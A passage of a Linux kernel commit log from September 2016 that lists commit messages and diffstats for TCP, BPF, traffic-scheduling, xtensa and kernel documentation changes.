Signed-off-by: Yuchung Cheng Signed-off-by: David S. Miller net/ipv4/tcp.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 77879147a3481babffd7e368d977ab682545a6bd Author: Eric Dumazet Date: Mon Sep 19 23:39:11 2016 -0400 net_sched: sch_fq: add low_rate_threshold parameter This commit adds to the fq module a low_rate_threshold parameter to insert a delay after all packets if the socket requests a pacing rate below the threshold. This helps achieve more precise control of the sending rate with low-rate paths, especially policers. The basic issue is that if a congestion control module detects a policer at a certain rate, it may want fq to be able to shape to that policed rate. That way the sender can avoid policer drops by having the packets arrive at the policer at or just under the policed rate. The default threshold of 550Kbps was chosen analytically so that for policers or links at 500Kbps or 512Kbps fq would very likely invoke this mechanism, even if the pacing rate was briefly slightly above the available bandwidth. This value was then empirically validated with two years of production testing on YouTube video servers. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/uapi/linux/pkt_sched.h | 2 ++ net/sched/sch_fq.c | 22 +++++++++++++++++++--- 2 files changed, 21 insertions(+), 3 deletions(-) commit 6403389211e1f4d40ed963fe47a96fce1a3ba7a9 Author: Neal Cardwell Date: Mon Sep 19 23:39:10 2016 -0400 tcp: use windowed min filter library for TCP min_rtt estimation Refactor the TCP min_rtt code to reuse the new win_minmax library in lib/win_minmax.c to simplify the TCP code. This is a pure refactor: the functionality is exactly the same. We just moved the windowed min code to make TCP easier to read and maintain, and to allow other parts of the kernel to use the windowed min/max filter code. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/linux/tcp.h | 5 ++-- include/net/tcp.h | 2 +- net/ipv4/tcp.c | 2 +- net/ipv4/tcp_input.c | 64 ++++-------------------------------------------- net/ipv4/tcp_minisocks.c | 2 +- 5 files changed, 10 insertions(+), 65 deletions(-) commit a4f1f9ac8153e22869b6408832b5a9bb9c762bf6 Author: Neal Cardwell Date: Mon Sep 19 23:39:09 2016 -0400 lib/win_minmax: windowed min or max estimator This commit introduces a generic library to estimate either the min or max value of a time-varying variable over a recent time window. This is code originally from Kathleen Nichols. The current form of the code is from Van Jacobson. A single struct minmax_sample will track the estimated windowed-max value of the series if you call minmax_running_max() or the estimated windowed-min value of the series if you call minmax_running_min(). Nearly equivalent code is already in place for minimum RTT estimation in the TCP stack. This commit extracts that code and generalizes it to handle both min and max. Moving the code here reduces the footprint and complexity of the TCP code base and makes the filter generally available for other parts of the codebase, including an upcoming TCP congestion control module. This library works well for time series where the measurements are smoothly increasing or decreasing. Signed-off-by: Van Jacobson Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Nandita Dukkipati Signed-off-by: Eric Dumazet Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller include/linux/win_minmax.h | 37 +++++++++++++++++ lib/Makefile | 2 +- lib/win_minmax.c | 98 ++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 136 insertions(+), 1 deletion(-) commit f78e73e27fdeab6f9317667f7e9676b59c1ec1fb Author: Soheil Hassas Yeganeh Date: Mon Sep 19 23:39:08 2016 -0400 tcp: cdg: rename struct minmax in tcp_cdg.c to avoid a naming conflict The upcoming change "lib/win_minmax: windowed min or max estimator" introduces a struct called minmax, which is then included in include/linux/tcp.h in the upcoming change "tcp: use windowed min filter library for TCP min_rtt estimation". This would create a compilation error for tcp_cdg.c, which defines its own minmax struct. To avoid this naming conflict (and potentially others in the future), this commit renames the version used in tcp_cdg.c to cdg_minmax. Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Eric Dumazet Cc: Kenneth Klette Jonassen Acked-by: Kenneth Klette Jonassen Signed-off-by: David S. Miller net/ipv4/tcp_cdg.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 94d308d060cd3ee65152b8ebd7a1c24fa86eee82 Author: Sean Wang Date: Tue Sep 20 11:26:48 2016 +0800 net: ethernet: mediatek: enhance with avoiding superfluous assignment inside mtk_get_ethtool_stats data_src is unchanged inside the loop, so this patch moves the assignment to outside the loop to avoid unnecessarily assignment Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8847293992606677d5e446d1e712bd128ea7977f Author: Vivien Didelot Date: Mon Sep 19 19:56:11 2016 -0400 net: dsa: mv88e6xxx: handle multiple ports in ATU An address can be loaded in the ATU with multiple ports, for instance when adding multiple ports to a Multicast group with "bridge mdb". The current code doesn't allow that. Add an helper to get a single entry from the ATU, then set or clear the requested port, before loading the entry back in the ATU. Note that the required _mv88e6xxx_atu_getnext function is defined below mv88e6xxx_port_db_load_purge, so forward-declare it for the moment. The ATU code will be isolated in future patches. Fixes: 83dabd1fa84c ("net: dsa: mv88e6xxx: make switchdev DB ops generic") Signed-off-by: Vivien Didelot Reviewed-by: Andrew Lunn Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 56 +++++++++++++++++++++++++++++++++++----- 1 file changed, 49 insertions(+), 7 deletions(-) commit 5b8b3c860ba48f8ac1830cf3a7d02e781de06894 Author: Max Filippov Date: Tue Sep 20 19:35:09 2016 -0700 xtensa: add default memmap and mmio32native options to defconfigs Now that memory initialization doesn't add default memory region specify it explicitly in the memmap command line option in case somebody wants to boot in non-DT-enabled configuration. While at it update earlycon access mode to mmio32native to support both LE and BE cores transparently. Signed-off-by: Max Filippov arch/xtensa/configs/audio_kc705_defconfig | 2 +- arch/xtensa/configs/generic_kc705_defconfig | 2 +- arch/xtensa/configs/nommu_kc705_defconfig | 2 +- arch/xtensa/configs/smp_lx200_defconfig | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 6edbbd1675ea8cd24e105544e3894c59f58673b5 Author: Max Filippov Date: Tue Sep 20 19:21:03 2016 -0700 xtensa: add default memmap option to common_defconfig Now that memory initialization doesn't add default memory region specify it explicitly in the memmap command line option. Save common_defconfig as defconfig so that it doesn't have all option settings in it, only those that are different from the Kconfig defaults. Signed-off-by: Max Filippov arch/xtensa/configs/common_defconfig | 609 +---------------------------------- 1 file changed, 4 insertions(+), 605 deletions(-) commit 81da313f2cf3c3798d5795f09159bab05d8af32d Author: Max Filippov Date: Tue Sep 20 17:40:23 2016 -0700 xtensa: add default memmap option to iss_defconfig Now that memory initialization doesn't add default memory region specify it explicitly in the memmap command line option. Save iss_defconfig as defconfig so that it doesn't have all option settings in it, only those that are different from the Kconfig defaults. Signed-off-by: Max Filippov arch/xtensa/configs/iss_defconfig | 728 +------------------------------------- 1 file changed, 2 insertions(+), 726 deletions(-) commit 549409b4b584604f8eb225ebbb19be74204fe789 Author: Max Filippov Date: Tue Sep 20 17:58:20 2016 -0700 xtensa: ISS: allow simdisk to use high memory buffers ISS kernel by default has only low memory. But it may be configured to support high memory and started in a simulator with more than 128M of RAM. Simdisk driver in such configuration can get IO request with a high memory page. There may be no TLB entry for that page, only page table entry. However simulators don't do pagewalking, so such IO request will fail. Touch IO buffer in the buffer read/write loop so that a TLB entry is likely there when read or write simcall is invoked. Signed-off-by: Max Filippov arch/xtensa/platforms/iss/simdisk.c | 1 + 1 file changed, 1 insertion(+) commit aecc5cefc389735b5327d234e11d1fe505e1c280 Author: Jamal Hadi Salim Date: Mon Sep 19 19:02:51 2016 -0400 net sched actions: fix GETing actions With the batch changes that translated transient actions into a temporary list lost in the translation was the fact that tcf_action_destroy() will eventually delete the action from the permanent location if the refcount is zero. Example of what broke: ...add a gact action to drop sudo $TC actions add action drop index 10 ...now retrieve it, looks good sudo $TC actions get action gact index 10 ...retrieve it again and find it is gone! sudo $TC actions get action gact index 10 Fixes: 22dc13c837c3 ("net_sched: convert tcf_exts from list to pointer array"), Fixes: 824a7e8863b3 ("net_sched: remove an unnecessary list_del()") Fixes: f07fed82ad79 ("net_sched: remove the leftover cleanup_a()") Acked-by: Cong Wang Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/act_api.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 1d9423ae0dbcdbfb914e9e516ed44379f0189555 Merge: cf714ac 7d95b0a Author: David S. Miller Date: Tue Sep 20 23:32:19 2016 -0400 Merge branch 'bpf-direct-packet-access-improvements' Daniel Borkmann says: ==================== BPF direct packet access improvements This set adds write support to the currently available read support for {cls,act}_bpf programs. First one is a fix for affected commit sitting in net-next and prerequisite for the second one, last patch adds a number of test cases against the verifier. For details, please see individual patches. ==================== Signed-off-by: David S. Miller commit 7d95b0ab5bbe2dc9bf3fd99c27e80ced5bfa8acf Author: Daniel Borkmann Date: Tue Sep 20 00:26:14 2016 +0200 bpf: add test cases for direct packet access Add couple of test cases for direct write and the negative size issue, and also adjust the direct packet access test4 since it asserts that writes are not possible, but since we've just added support for writes, we need to invert the verdict to ACCEPT, of course. Summary: 133 PASSED, 0 FAILED. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller samples/bpf/test_verifier.c | 433 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 430 insertions(+), 3 deletions(-) commit 36bbef52c7eb646ed6247055a2acd3851e317857 Author: Daniel Borkmann Date: Tue Sep 20 00:26:13 2016 +0200 bpf: direct packet write and access for helpers for clsact progs This work implements direct packet access for helpers and direct packet write in a similar fashion as already available for XDP types via commits 4acf6c0b84c9 ("bpf: enable direct packet data write for xdp progs") and 6841de8b0d03 ("bpf: allow helpers access the packet directly"), and as a complementary feature to the already available direct packet read for tc (cls/act) programs. For enabling this, we need to introduce two helpers, bpf_skb_pull_data() and bpf_csum_update(). The first is generally needed for both, read and write, because they would otherwise only be limited to the current linear skb head. Usually, when the data_end test fails, programs just bail out, or, in the direct read case, use bpf_skb_load_bytes() as an alternative to overcome this limitation. If such data sits in non-linear parts, we can just pull them in once with the new helper, retest and eventually access them. At the same time, this also makes sure the skb is uncloned, which is, of course, a necessary condition for direct write. As this needs to be an invariant for the write part only, the verifier detects writes and adds a prologue that is calling bpf_skb_pull_data() to effectively unclone the skb from the very beginning in case it is indeed cloned. The heuristic makes use of a similar trick that was done in 233577a22089 ("net: filter: constify detection of pkt_type_offset"). This comes at zero cost for other programs that do not use the direct write feature. Should a program use this feature only sparsely and has read access for the most parts with, for example, drop return codes, then such write action can be delegated to a tail called program for mitigating this cost of potential uncloning to a late point in time where it would have been paid similarly with the bpf_skb_store_bytes() as well. Advantage of direct write is that the writes are inlined whereas the helper cannot make any length assumptions and thus needs to generate a call to memcpy() also for small sizes, as well as cost of helper call itself with sanity checks are avoided. Plus, when direct read is already used, we don't need to cache or perform rechecks on the data boundaries (due to verifier invalidating previous checks for helpers that change skb->data), so more complex programs using rewrites can benefit from switching to direct read plus write. For direct packet access to helpers, we save the otherwise needed copy into a temp struct sitting on stack memory when use-case allows. Both facilities are enabled via may_access_direct_pkt_data() in verifier. For now, we limit this to map helpers and csum_diff, and can successively enable other helpers where we find it makes sense. Helpers that definitely cannot be allowed for this are those part of bpf_helper_changes_skb_data() since they can change underlying data, and those that write into memory as this could happen for packet typed args when still cloned. bpf_csum_update() helper accommodates for the fact that we need to fixup checksum_complete when using direct write instead of bpf_skb_store_bytes(), meaning the programs can use available helpers like bpf_csum_diff(), and implement csum_add(), csum_sub(), csum_block_add(), csum_block_sub() equivalents in eBPF together with the new helper. A usage example will be provided for iproute2's examples/bpf/ directory. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/bpf.h | 4 +- include/linux/skbuff.h | 14 ++++- include/uapi/linux/bpf.h | 21 ++++++++ kernel/bpf/helpers.c | 3 ++ kernel/bpf/verifier.c | 54 ++++++++++++++----- net/core/filter.c | 134 +++++++++++++++++++++++++++++++++++++++++------ 6 files changed, 196 insertions(+), 34 deletions(-) commit b399cf64e318ac8c5f10d36bb911e61c746b8788 Author: Daniel Borkmann Date: Tue Sep 20 00:26:12 2016 +0200 bpf, verifier: enforce larger zero range for pkt on overloading stack buffs Current contract for the following two helper argument types is: * ARG_CONST_STACK_SIZE: passed argument pair must be (ptr, >0). * ARG_CONST_STACK_SIZE_OR_ZERO: passed argument pair can be either (NULL, 0) or (ptr, >0). With 6841de8b0d03 ("bpf: allow helpers access the packet directly"), we can pass also raw packet data to helpers, so depending on the argument type being PTR_TO_PACKET, we now either assert memory via check_packet_access() or check_stack_boundary(). As a result, the tests in check_packet_access() currently allow more than intended with regards to reg->imm. Back in 969bf05eb3ce ("bpf: direct packet access"), check_packet_access() was fine to ignore size argument since in check_mem_access() size was bpf_size_to_bytes() derived and prior to the call to check_packet_access() guaranteed to be larger than zero. However, for the above two argument types, it currently means, we can have a <= 0 size and thus breaking current guarantees for helpers. Enforce a check for size <= 0 and bail out if so. check_stack_boundary() doesn't have such an issue since it already tests for access_size <= 0 and bails out, resp. access_size == 0 in case of NULL pointer passed when allowed. Fixes: 6841de8b0d03 ("bpf: allow helpers access the packet directly") Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller kernel/bpf/verifier.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cf714ac147e08bc13cd6bc79f2b090da905398ef Author: Mahesh Bandewar Date: Mon Sep 19 13:56:29 2016 -0700 ipvlan: Fix dependency issue kbuild-build-bot reported that if NETFILTER is not selected, the build fails pointing to netfilter symbols. Fixes: 4fbae7d83c98 ("ipvlan: Introduce l3s mode") Signed-off-by: Mahesh Bandewar Signed-off-by: David S. Miller drivers/net/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 2279994d07ab67ff7a1d09bfbd65588332dfb6d8 Author: pravin shelar Date: Mon Sep 19 13:51:00 2016 -0700 openvswitch: avoid resetting flow key while installing new flow. since commit commit db74a3335e0f6 ("openvswitch: use percpu flow stats") flow alloc resets flow-key. So there is no need to reset the flow-key again if OVS is using newly allocated flow-key. Signed-off-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/datapath.c | 8 ++++---- net/openvswitch/flow.c | 2 -- net/openvswitch/flow_netlink.c | 6 ++++-- net/openvswitch/flow_netlink.h | 3 ++- 4 files changed, 10 insertions(+), 9 deletions(-) commit 190aa3e77880a05332ea1ccb382a51285d57adb5 Author: pravin shelar Date: Mon Sep 19 13:50:59 2016 -0700 openvswitch: Fix Frame-size larger than 1024 bytes warning. There is no need to declare separate key on stack, we can just use sw_flow->key to store the key directly. This commit fixes following warning: net/openvswitch/datapath.c: In function ‘ovs_flow_cmd_new’: net/openvswitch/datapath.c:1080:1: warning: the frame size of 1040 bytes is larger than 1024 bytes [-Wframe-larger-than=] Signed-off-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/datapath.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit 204dfe1798bbfa242e4083b87c3a8c5200412e6f Merge: ad97989 af4168c Author: David S. Miller Date: Tue Sep 20 22:52:50 2016 -0400 Merge branch 'for-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next Johan Hedberg says: ==================== pull request: bluetooth-next 2016-09-19 Here's the main bluetooth-next pull request for the 4.9 kernel. - Added new messages for monitor sockets for better mgmt tracing - Added local name and appearance support in scan response - Added new Qualcomm WCNSS SMD based HCI driver - Minor fixes & cleanup to 802.15.4 code - New USB ID to btusb driver - Added Marvell support to HCI UART driver - Add combined LED trigger for controller power - Other minor fixes here and there Please let me know if there are any issues pulling. Thanks. ==================== Signed-off-by: David S. Miller commit ad9798967dd67f080bf0e8d611b382a5d292aae2 Author: Alan Cox Date: Mon Sep 19 20:15:24 2016 +0100 6pack: fix buffer length mishandling Dmitry Vyukov wrote: > different runs). Looking at code, the following looks suspicious -- we > limit copy by 512 bytes, but use the original count which can be > larger than 512: > > static void sixpack_receive_buf(struct tty_struct *tty, > const unsigned char *cp, char *fp, int count) > { > unsigned char buf[512]; > .... > memcpy(buf, cp, count < sizeof(buf) ? count : sizeof(buf)); > .... > sixpack_decode(sp, buf, count1); With the sane tty locking we now have I believe the following is safe as we consume the bytes and move them into the decoded buffer before returning. Signed-off-by: Alan Cox Signed-off-by: David S. Miller drivers/net/hamradio/6pack.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 8a17ef9d8543744a0c6a6f5fdc65b5770e7eaa64 Merge: de2f4b3 43af5de Author: James Morris Date: Wed Sep 21 11:54:19 2016 +1000 Merge branch 'stable-4.9' of git://git.infradead.org/users/pcmoore/selinux into next commit feec273a2b4d98f8aa76c5d83f24053b211c8525 Author: Max Filippov Date: Tue Sep 20 17:26:48 2016 -0700 xtensa: ISS: define simc_exit and use it instead of inline asm A number of ISS platform functions use inline assembly to invoke simulator exit, not all correctly. Define simc_exit(exit_code) and use it instead of inline assembly. Signed-off-by: Max Filippov arch/xtensa/platforms/iss/include/platform/simcall.h | 5 +++++ arch/xtensa/platforms/iss/setup.c | 8 +++++--- 2 files changed, 10 insertions(+), 3 deletions(-) commit 70feca7199647dd548536d7e6b55a742053e6839 Author: Max Filippov Date: Tue Sep 20 11:29:37 2016 -0700 xtensa: xtfpga: group platform_* functions together Group platform_* functions together and turn two separate #ifdef/#ifndef blocks into single #ifdef/#else. No functional changes. Signed-off-by: Max Filippov arch/xtensa/platforms/xtfpga/setup.c | 46 +++++++++++++++++------------------- 1 file changed, 22 insertions(+), 24 deletions(-) commit 205ad548a7426fb6813760cd9917d3fc24122576 Author: Max Filippov Date: Tue Sep 20 11:11:08 2016 -0700 xtensa: rearrange CCOUNT calibration DT-enabled kernel should have a CPU node connected to a clock. This clock is the CCOUNT clock. Use old platform_calibrate_ccount call as a fallback when CPU node cannot be found or has no clock and in non-DT-enabled configurations. Drop no longer needed code that updates CPU clock-frequency property in the DT; drop DT-related code from the platform_calibrate_ccount too. Move of_clk_init to the top of time_init, so that clocks are initialized before CCOUNT calibration is attempted. Signed-off-by: Max Filippov arch/xtensa/boot/dts/xtfpga.dtsi | 4 +--- arch/xtensa/kernel/setup.c | 2 -- arch/xtensa/kernel/time.c | 40 +++++++++++++++++++++++++++++++++++- arch/xtensa/platforms/xtfpga/setup.c | 39 +---------------------------------- 4 files changed, 41 insertions(+), 44 deletions(-) commit 58c3e3ac7a1daf56523567507a096a3e4026596d Author: Max Filippov Date: Mon Jul 25 10:58:10 2016 +0300 xtensa: xtfpga: use clock provider, don't update DT Instead of querying hardcoded FPGA frequency register and then updating clock-frequency property in specificly named DT nodes in machine setup code register a clock provider that returns fixed-rate clock, configured by register specified in DT. This way we have less magic/hardcoded names and use more existing common clock framework code. Signed-off-by: Max Filippov Tested-by: Guenter Roeck arch/xtensa/boot/dts/xtfpga.dtsi | 11 ++++++----- arch/xtensa/platforms/xtfpga/setup.c | 33 +++++++++++++++++++++++++++++---- 2 files changed, 35 insertions(+), 9 deletions(-) commit cc68fd957f9b14379277614574ce3372873bb76e Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:43 2016 -0300 Documentation/kernel-docs.txt: reorder based on timestamp Reorder the on-line documents based on their timestamp or copyright notes. More updated documents come first. While here, add the number of pages for POSIX4 document. Signed-off-by: Mauro Carvalho Chehab Documentation/kernel-docs.txt | 520 +++++++++++++++++++++--------------------- 1 file changed, 262 insertions(+), 258 deletions(-) commit 57b2e1c831e760d9fb1a32392e452ed6d7b83938 Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:42 2016 -0300 Documentation/kernel-docs.txt: Add dates for online docs It is a way better to have a timestamp to help identifying when something is too old. So, retrieve the dates marked on the existing documents. Signed-off-by: Mauro Carvalho Chehab Documentation/kernel-docs.txt | 52 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 43 insertions(+), 9 deletions(-) commit 98cadc165d7adf888e14c1e078bf1cb2d4efac39 Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:41 2016 -0300 Documentation/kernel-docs.txt: get rid of broken docs There are still some broken docs: the URLs point to somewhere, however, the texts are not there anymore. I was able to find the texts on other URLs for some of those, but they're all too old. So, just get rid of them. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/kernel-docs.txt | 41 ----------------------------------------- 1 file changed, 41 deletions(-) commit 608ee2ff563f245eb4f8e7c06d01d203b59a640f Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:40 2016 -0300 Documentation/kernel-docs.txt: move in-kernel docs There are three places where it mentions in-kernel docs. Move them to a separate topic. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/kernel-docs.txt | 91 ++++++++++++++++++++++--------------------- 1 file changed, 47 insertions(+), 44 deletions(-) commit 7b5f2bd74cb97917f819e52b1e3d4724c9c18974 Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:39 2016 -0300 Documentation/kernel-docs.txt: remove more legacy references The Linux Kernel - This book is for Kernel 2.0.33 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/kernel-docs.txt | 17 ----------------- 1 file changed, 17 deletions(-) commit 8a24bd1a691e7137c91ddffe94dd6204fbe84426 Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:38 2016 -0300 Documentation/kernel-docs.txt: add two published books Add two books from my own bookshelf. I found them useful by the time I bought; so it could be useful to others ;) Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/kernel-docs.txt | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit cefd1f725b4665c24817816ec5d64825380b1577 Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:37 2016 -0300 Documentation/kernel-docs.txt: sort books per publication date Instead of using a random order, place the books on publication date, from the newest to the oldest. Signed-off-by: Mauro Carvalho Chehab Documentation/kernel-docs.txt | 90 ++++++++++++++++++++++--------------------- 1 file changed, 46 insertions(+), 44 deletions(-) commit d8b7165f2c5e93be0c99d2ee6c847d3528a01b1e Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:36 2016 -0300 Documentation/kernel-docs.txt: adjust LDD references - remove LDD versions 1 and 2, as there's already an entry for LDD3; - add a link between LDD online and published entries. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/kernel-docs.txt | 31 ++----------------------------- 1 file changed, 2 insertions(+), 29 deletions(-) commit be948b65799854a425134490bb00810831fd82ae Author: Mauro Carvalho Chehab Date: Tue Sep 20 08:36:35 2016 -0300 Documentation/kernel-docs.txt: some improvements on the ReST output - Use lower case for sections, as this is the standard used on the other ReST files; - The latest version of this document is at the Kernel source, and not at the listed URL. So, move it to the end of the doc. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/kernel-docs.txt | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit a8332a07af0c50ed5ae9bdaecf1d16d6edba08be Author: Richard Sailer Date: Tue Sep 20 08:36:34 2016 -0300 Documentation/kernel-docs.txt: Consistent indenting: 4 spaces This introduces a consistent indenting of 4 spaces for all lists. [mchehab@s-opensource.com: rebased to apply before rename] Signed-off-by: Richard Sailer Signed-off-by: Mauro Carvalho Chehab Documentation/kernel-docs.txt | 1252 ++++++++++++++++++++--------------------- 1 file changed, 626 insertions(+), 626 deletions(-) commit c3e84d1ce5effc5d05526ca30c42ec1ae9c82669 Author: Richard Sailer Date: Tue Sep 20 08:36:33 2016 -0300 Documentation/kernel-docs.txt: Add 4 paper/book references Background/Reasoning: Books: ------ * Linux Kernel Networking by Rami Rosen While some parts are quite short and could be more carefully explained it's still a good recomendation for understanding linux kernel networking, (IMHO) * Linux Treiber entwickeln: It sure is a drawback that this is a german book. But it's quite recent, well structured and there are also other non-english (spanish) books/papers in this list. Papers: ------- * On Submitting kernel Patches Contains 2 case studies of bigger patch sets and how (or how not) they were merged. I found it helpful * Tracing the Way of Data in a TCP Connection through the Linux Kernel Since this was written by me this inclusion may be a bit biased :p Neitherless I think this gives a good introduction on understanding/exploring linux internals using ftrace and an overview of Linux TCP internals. [mchehab@s-opensource.com: rebased to apply before rename] Signed-off-by: Richard Sailer Signed-off-by: Mauro Carvalho Chehab Documentation/kernel-docs.txt | 45 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) commit 83d4d3c976f68c8207cd21aaa20eee070680d23c Author: Richard Sailer Date: Tue Sep 20 08:36:32 2016 -0300 Documentation/kernel-docs.txt: Improve layouting of book list The dots at the ends of the list elements introduced unnecesarry newlines in the "compiled" document. While this was not "mission critical" it's not nice to look at either. [mchehab@s-opensource.com: rebased to apply before rename] Signed-off-by: Richard Sailer Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/kernel-docs.txt | 86 +++++++++++++++++++++---------------------- 1 file changed, 43 insertions(+), 43 deletions(-) commit 249ad66404cf47a1215291a5682ec58defc0caaf Author: Richard Sailer Date: Tue Sep 20 08:36:31 2016 -0300 Documentation/kernel-docs.txt: Remove offline or outdated entries This removes all dead links to online docs which are dead according to Jon and Mauro in https://lkml.kernel.org/r/20160916182849.2a7101ea () vento ! lan Additionally some references to very old articles refering to linux 2.2 and 2.0 are deleted. [mchehab@s-opensource.com: rebased to apply before rename] Signed-off-by: Richard Sailer Signed-off-by: Mauro Carvalho Chehab Documentation/kernel-docs.txt | 159 +----------------------------------------- 1 file changed, 1 insertion(+), 158 deletions(-) commit 1b49ecf2f3be358882bb97652ba50ae808c0ba8f Author: Jonathan Corbet Date: Tue Sep 20 18:46:36 2016 -0600 docs: Clean up bare :: lines Mauro's patch set introduced some bare :: lines; these can be represented by a double colon at the end of the preceding text line. The result looks a little less weird and is less verbose. Signed-off-by: Jonathan Corbet Documentation/Changes | 12 +++-------- Documentation/HOWTO | 12 +++-------- Documentation/applying-patches.txt | 44 ++++++++++---------------------------- 3 files changed, 17 insertions(+), 51 deletions(-) commit 7a71a8095bcfb33d0798365465699c6db545b914 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:08:01 2016 -0300 Documentation/SubmitChecklist: convert it to ReST markup - use ``foo`` to markup inline literal stuff, effectively making it to be presented as a monospaced font when parsed by Sphinx; - the markup below the title should have the same length as the title; - Fix the list markups, from "1:" to "1)"; - Split item 2 into a separate list for the build options, in order to be presented as a list on Sphinx; Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/SubmitChecklist | 116 ++++++++++++++++++++++-------------------- 1 file changed, 62 insertions(+), 54 deletions(-) commit 0cef67aa651808bac9d79503ebf45246612262fe Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:08:00 2016 -0300 Documentation/SubmitChecklist: update kernel-doc task Task 11 (kernel-doc) still mentions usage of make manpages, but this won't work if the API is documented via Sphinx. So, update it to use either htmldocs or pdfdocs, with are the documentation targets that work for all. While here, add ReST reference to the kernel documentation book. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/SubmitChecklist | 7 ++++--- Documentation/kernel-documentation.rst | 2 ++ 2 files changed, 6 insertions(+), 3 deletions(-) commit f1eebe92c2653e8fc3760577e53befdc9b62ef26 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:59 2016 -0300 Documentation/HOWTO: adjust external link references - A few link references were missing http:// - Several sites are now redirecting to https protocol. On such cases, just use the https URL. NOTE: all URLs were checked and they're pointing to the right places. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/HOWTO | 37 +++++++++++++++++-------------------- 1 file changed, 17 insertions(+), 20 deletions(-) commit 34fed7e7e0e56f885f309e8892a3571400072e37 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:58 2016 -0300 Documentation/HOWTO: improve some markups to make it visually better Do a series of minor improvements at the ReST output format: - Instead of using the quote blocks (::) for quotes, use italics. That looks nicer on epub (and html) output, as no scroll bar will be added. Also, it will adjust line breaks on the text automatically. - Add a missing reference to SubmittingPatches.rst and use **foo** instead of _foo_. - use bold for "The Perfect Patch" by removing a newline. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/HOWTO | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) commit 43fb67a5258c0f3d1d869cb7d72617d87b257c62 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:57 2016 -0300 Documentation/HOWTO: update information about generating documentation The description there are pre-Sphinx. Update it to cover the new way. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/HOWTO | 28 ++++++++++++++++++++++------ 1 file changed, 22 insertions(+), 6 deletions(-) commit 609d99a3b72e3964279a068868a212553087eb22 Author: Mauro Carvalho Chehab Date: Mon Sep 19 08:07:56 2016 -0300 Documentation/HOWTO: add cross-references to other documents Add cross references for the documents mentioned at HOWTO and are under the Documentation/ directory, using the ReST notation. It should be noticed that HOWTO also mentions the /README file. We opted to not touch it, for now, as making it build on Sphinx would require it to be moved to a Documentation/foo directory. Signed-off-by: Mauro Carvalho Chehab Acked-by: Greg Kroah-Hartman Signed-off-by: Jonathan Corbet Documentation/Changes | 2 ++ Documentation/CodingStyle | 2 ++ Documentation/HOWTO | 18 +++++++++--------- Documentation/ManagementStyle | 2 ++ Documentation/SecurityBugs | 2 ++ Documentation/SubmittingDrivers | 2 ++ Documentation/SubmittingPatches | 1 + Documentation/applying-patches.txt | 1 + Documentation/kernel-docs.txt | 2 ++ 